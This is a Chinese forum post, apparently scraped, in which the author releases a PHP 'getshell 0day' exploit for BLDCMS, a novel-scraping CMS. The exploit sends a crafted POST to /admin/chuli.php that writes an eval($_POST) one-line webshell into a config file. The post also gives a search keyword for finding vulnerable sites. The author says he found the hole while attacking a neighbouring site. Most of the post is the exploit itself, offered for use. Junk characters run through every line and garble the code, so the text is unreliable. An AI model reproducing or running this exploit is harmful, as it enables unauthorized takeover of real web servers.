之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞
! C6 m; {1 i* E; H4 e9 h& u8 y
4 e! z7 t& E: q- F8 W# P T3 E/ u# X0 r( _
话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了
- l: o: F, o1 @" K4 y/ P% t 5 l9 A3 p; {: w4 g0 J1 D
既然都有人发了 我就把我之前写好的EXP放出来吧) c/ ]: s% Z1 E2 |
2 U- L# p3 w2 H4 u
view source print?01.php;">& r0 R- K' |; r F7 D
02.<!--?php
5 ]* f; }# x7 _. y8 G; D03.echo "-------------------------------------------------------------------
7 Z2 b+ K1 h& ^9 R9 H/ G04.
/ K# l! D( g( t& L05.------------\r\n BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
" T: f: M! b* L9 t4 k! ~1 P06.
+ D& y4 L7 J" ]4 q, Q07.(GPC=Off)\r\n Vulnerability discovery&Code by 数据流@wooyun
* H! y# B& {+ @0 H: y1 h( l8 r08.
: f" V; _5 ~+ z# a0 m7 W09.QQ:981009941\r\n 2013.3.21\r\n % A7 j0 I$ X0 y4 ^
10. 9 ^; p6 r# O9 N6 {# Y7 I/ D
11.
6 \1 }, m6 Z, { B0 b; S12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
5 \6 g& W' S7 D o" k" k. G6 m13.
: G1 }" q* L) p4 j" G/ z- G14.)\r\n 搜索关键字:\"开发者: 白老大小说\"\r\n-----------% Q/ _0 c4 ?3 B1 q# Q6 e
15. # i1 S! B' r" M# ~# Z" D- S4 u
16.--------------------------------------------------------------------\r\n";
( k& @8 |' l+ ?+ Z* \( I2 h17.$url=$argv[1];
# }2 ^: f2 C5 t# j) o5 O7 E- g18.$dir=$argv[2];
& S/ O# T' U8 j4 Z# `9 b0 q19.$pass=$argv[3];+ s; S! `- I" K8 M
20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
/ b' Z; Q2 V1 N& x% R/ M) g21.if (emptyempty($pass)||emptyempty($url))
6 R- J8 p: N: i9 S6 Z22.{exit("请输入参数");}$ [$ h9 S8 d$ n8 e8 N% {( C
23.else
" X3 V5 b0 d1 b3 i5 i24.{
9 Q$ s# B# T ?; q+ j5 G' G3 H/ t25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev% @6 w) v& p }4 R
26. ( }9 c. r0 |- R5 H3 g
27.al;
& X" [ K* ^! o' ]8 P28.$length = strlen($fuckdata);+ W, O. r& Z. O$ n$ b/ t
29.function getshell($url,$pass)1 v) B3 }9 M+ E1 u3 e4 Z
30.{
2 K3 c0 z% v7 v4 O3 `/ e$ V( _31.global $url,$dir,$pass,$eval,$length,$fuckdata;; `; N6 D, ?+ o; N% o. X5 x1 N- Q
32.$header = "OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";& d( A N- z- ?3 y- W6 A7 o
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";) g8 G2 _% c) ^# B# {/ @
34.$header .= "User-Agent: MSIE\r\n";
, `! Z A2 {: K+ L35.$header .= "Host:".$url."\r\n";- k5 M' \8 h% r+ I
36.$header .= "Content-Length: ".$length."\r\n";- Q9 ^1 S% m# k
37.$header .= "Connection: Close\r\n";" u, l" A( i3 z+ w/ G
38.$header .="\r\n";
0 M0 X" w. S$ h39.$header .= $fuckdata."\r\n\r\n";- h7 m) V; b* h% H0 }5 k8 ^
40.$fp = fsockopen($url, 80,$errno,$errstr,15);* Y2 u4 ~; u( ~& R0 p! p; E% T; p
41.if (!$fp)1 V G( l6 R7 C& ?9 s- `
42.{) |: f1 C) o8 C1 c" n/ j7 @5 h% r
43.exit ("利用失败:请检查指定目标是否能正常打开");5 J7 {" h! k8 E! I- }
44.}0 K( b- v9 H- J) N/ g
45.else{ if (!fputs($fp,$header))7 G; ?6 d% P$ o x# h! g3 D
46.{exit ("利用失败");}8 M3 K. n# |3 @" k" Z( u
47.else! \+ l( G$ }+ U4 e$ G
48.{% h" c5 T3 j* i! ? C4 p( m. y/ Z
49.$receive = '';/ b4 ?6 R, e T; I j% o
50.while (!feof($fp)) {
5 N% ^$ m# Q9 v51.$receive .= @fgets($fp, 1000);+ T: V* I: R* y# ~# \3 d6 Q8 X
52.}
& o- H$ H4 V5 r7 W* B53.@fclose($fp);3 |+ G, ?5 O! O
54.echo "$url/$dir/conn/config/normal2.php passpass(如连接失败 请检查目标% c3 E/ w- ?( @0 z7 ?/ F
55.
! c# ^* E( N2 ?% A$ U5 A56.GPC是否=off)";
% U, |/ O. O6 Z4 L0 p57.}} F7 Q H/ {* c, N: s- l" A
58.}
5 j- [6 u0 y0 X) R1 q* ]2 L59.}
; q: [6 d5 u6 Y60.getshell($url,$pass);
% C3 {" l& Q0 v# c1 L, S2 s61.?-->
% T, P9 Q, w2 ^3 ^9 a [ / N2 k# \: v" e7 @- q6 o& f/ w
4 |" p( R7 S: |) l2 n
3 T: O& [/ z. t3 [0 X$ E% gby 数据流. C, [1 v; A2 O7 H
|